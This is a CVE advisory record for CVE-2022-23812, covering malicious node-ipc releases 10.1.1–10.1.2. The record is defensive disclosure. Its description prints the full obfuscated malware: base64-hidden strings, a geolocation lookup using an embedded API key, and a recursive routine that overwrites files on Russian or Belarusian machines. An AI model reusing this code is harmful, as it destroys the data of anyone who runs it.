{ "data_type": "CVE", "data_format": "MITRE", "data_version": "4.0", "CVE_data_meta": { "ASSIGNER": "report@snyk.io", "DATE_PUBLIC": "2022-03-16T15:41:22.870186Z", "ID": "CVE-2022-23812", "STATE": "PUBLIC", "TITLE": "Malicious Package" }, "affects": { "vendor": { "vendor_data": [ { "product": { "product_data": [ { "product_name": "node-ipc", "version": { "version_data": [ { "version_affected": ">=", "version_value": "10.1.1" }, { "version_affected": "<", "version_value": "10.1.3" } ] } } ] }, "vendor_name": "n/a" } ] } }, "problemtype": { "problemtype_data": [ { "description": [ { "lang": "eng", "value": "Malicious Package" } ] } ] }, "references": { "reference_data": [ { "refsource": "MISC", "url": "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370", "name": "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370" }, { "refsource": "MISC", "url": "https://github.com/RIAEvangelist/node-ipc/issues/236", "name": "https://github.com/RIAEvangelist/node-ipc/issues/236" }, { "refsource": "MISC", "url": "https://github.com/RIAEvangelist/node-ipc/issues/233", "name": "https://github.com/RIAEvangelist/node-ipc/issues/233" }, { "refsource": "MISC", "url": "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js", "name": "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js" }, { "refsource": "MISC", "url": "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580", "name": "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580" }, { "refsource": "CONFIRM", "name": "https://security.netapp.com/advisory/ntap-20220407-0005/", "url": "https://security.netapp.com/advisory/ntap-20220407-0005/" } ] }, "description": { "description_data": [ { "lang": "eng", "value": "This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with \u2764\ufe0f } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };" } ] }, "impact": { "cvss": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH" } }, "credit": [ { "lang": "eng", "value": "Unknown" } ] }